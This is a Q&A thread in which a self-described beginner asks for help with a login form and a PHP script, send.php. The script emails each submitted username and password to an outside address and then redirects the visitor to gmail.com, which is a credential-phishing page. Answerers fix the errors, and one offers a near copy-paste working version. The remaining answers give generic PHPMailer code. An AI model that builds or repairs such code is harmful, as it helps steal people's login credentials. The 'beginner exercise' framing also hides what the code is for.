-5

I'm a beginner and I'm assigning tasks to myself. I built a HTML page in which I added a form. It looks like this:

<body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">

<form action="send.php" method="post">
<input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0">
<input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1">
<input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22>     </a></div>
</form>

And the php file 'send.php':

<?php 
if(isset($_POST['submit'])){
$to = "salut@bagaiacimailu.com"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password . ";
mail($to,$subject,$message,$headers);
}
header (Location: "www.gmail.com");
?>

I get error when the submit button is pressed on my HTML.

Community
  • 1
  • 1
Tobo
  • 5

4 Answers4

0

$header = "From: noreply@yourdomain.com";

add this inside the isset block. and only use header if the mail function works.

Like this-

  if(mail('','','','')){
//redirect line here
}else{
//error statement here
}

check your variables $user_name and $username. This will send only $password value in mail and you will keep wondering where did the username go! I have learned this the hard way so be careful with usernames. using _ is recommended.

Here is what i mean

<?php 
if(isset($_POST['submit'])){
$to = "salut@bagaiacimailu.com"; // this id will get the mail
$user_name = $_POST['username']; 
$password = $_POST['password'];
$subject = "You got mail!";  
$header = "From: noreply@yourdomainname.com";//this is where the mail. comes from. you were missing this parameter. it was not created
$message = $user_name . " " . $password . ";  
if(mail($to,$subject,$message,$headers)){  //this is true if mail is sent other wise it will go into else block
header (Location: "www.gmail.com");
}else{
echo 'Mail was not sent...'; //or redirect to some other page if you like
}
}

?>

Hope this helps! Let me know if you have anything else.

  • Thanks for your answer, bro. I don't actually understand where should i add. Can you, by any chance, paste me the exact code added to my file? Thanks a lot mate. I owe you big time :) – Tobo Jul 28 '16 at 11:54
  • @Tobo i have edited my answer, you can almost copy paste it in your send.php page. Accept my solution as answer if it works for you! Thanks and happy coding! – walimbeakshay Jul 29 '16 at 15:43
0

Download and read about PHPMailer,and use following code :

                            <?php
                        if (isset ( $_POST ['submit'] )) {
                            require 'PHPMailer/PHPMailerAutoload.php';

                            $mail = new PHPMailer ();

                            $mail->isSMTP (); // Set mailer to use SMTP
                            $mail->Host = 'smtp.gmail.com'; // Specify main and backup SMTP servers
                            $mail->SMTPAuth = true; // Enable SMTP authentication
                            $mail->Username = 'youremail@xyz.com'; // SMTP username
                            $mail->Password = 'password'; // SMTP password
                            $mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted
                            $mail->Port = 587; // TCP port to connect to

                            $mail->setFrom ( 'Fromemailaddress', 'xyz' );
                            $mail->addReplyTo ( 'toemailaddress', 'xyz' );
                            $mail->addAddress ( 'Fromemailaddress' ); // Add a recipient
                                                                      // $mail->addCC('cc@example.com');
                                                                      // $mail->addBCC('bcc@example.com');

                            $mail->isHTML ( true ); // Set email format to HTML

                            $bodyContent = '<h1>hello </h1>';
                            $bodyContent .= '<p>This is my 1st email through php</p>';

                            $mail->Subject = 'Email from Localhost by CodexWorld';
                            $mail->Body = $bodyContent;

                            if (! $mail->send ()) {
                                echo 'Message could not be sent.';
                                echo 'Mailer Error: ' . $mail->ErrorInfo;
                            } else {
                                echo 'Message has been sent';
                            }
                        }

                        ?>
        <form action="#" method="post">
            <input name="username" type="text"> <input name="password"
                type="password"> <input type="submit" name="submit" id="submit" />
        </form>
Roma
  • 272
  • 1
  • 12
0

For send mail use PHPMailer (https://github.com/PHPMailer/PHPMailer)

Use this code:

<?php   
    include("class.phpmailer.php");
    include("class.pop3.php");
    include("class.smtp.php");

    $messaggio_pre = new PHPmailer();
    $messaggio_pre->IsSMTP(); // attiva l'invio tramiteSMTP
    $messaggio_pre->Host = "localhost"; // indirizzo smtp
    $messaggio_pre->IsSMTP();
    $messaggio_pre->SMTPAuth = true;
    $messaggio_pre->IsHTML(true);
    $messaggio_pre->Host='YourHost'; //compile
    $messaggio_pre->Username = 'from.this@mail.com'; //compile
    $messaggio_pre->Password = 'password'; //compile
    $messaggio_pre->From='from.this@mail.com'; //compile
    $messaggio_pre->FromName='FromName'; //compile
    $messaggio_pre->AddAddress(send.at.this@address.com); //compile
    $messaggio_pre->Subject='YourSubject'; //compile
    $messaggio_pre->Body.='Text text!'; //compile
    if(!$messaggio_pre->Send()){
        echo $messaggio_pre->ErrorInfo;                  
    }               
    $messaggio_pre->SmtpClose();                
    unset($messaggio_pre);    
?>

Obviously you must include 3 files. List: - class.phpmailer.php - class.pop3.php - class.smtp.php

Davide
  • 566
  • 3
  • 13
-1
<?php 
if(isset($_POST['submit'])){
$to = "salut@bagaiacimailu.com"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password;
mail($to,$subject,$message);
}
header ("Location: https://www.gmail.com");
?>
  • Your code is as flawed as the original one, and code only answers are rarely useful for future visitors, please elaborate what you have changed and what OP was missing. – Epodax Jul 28 '16 at 11:36
  • I can't find nothing changed here. What is it? – Tobo Jul 28 '16 at 11:55
  • Mail function without $header variable and the header location in quotes And no dots arter $password ;) – Nikolay Torgov Jul 28 '16 at 12:00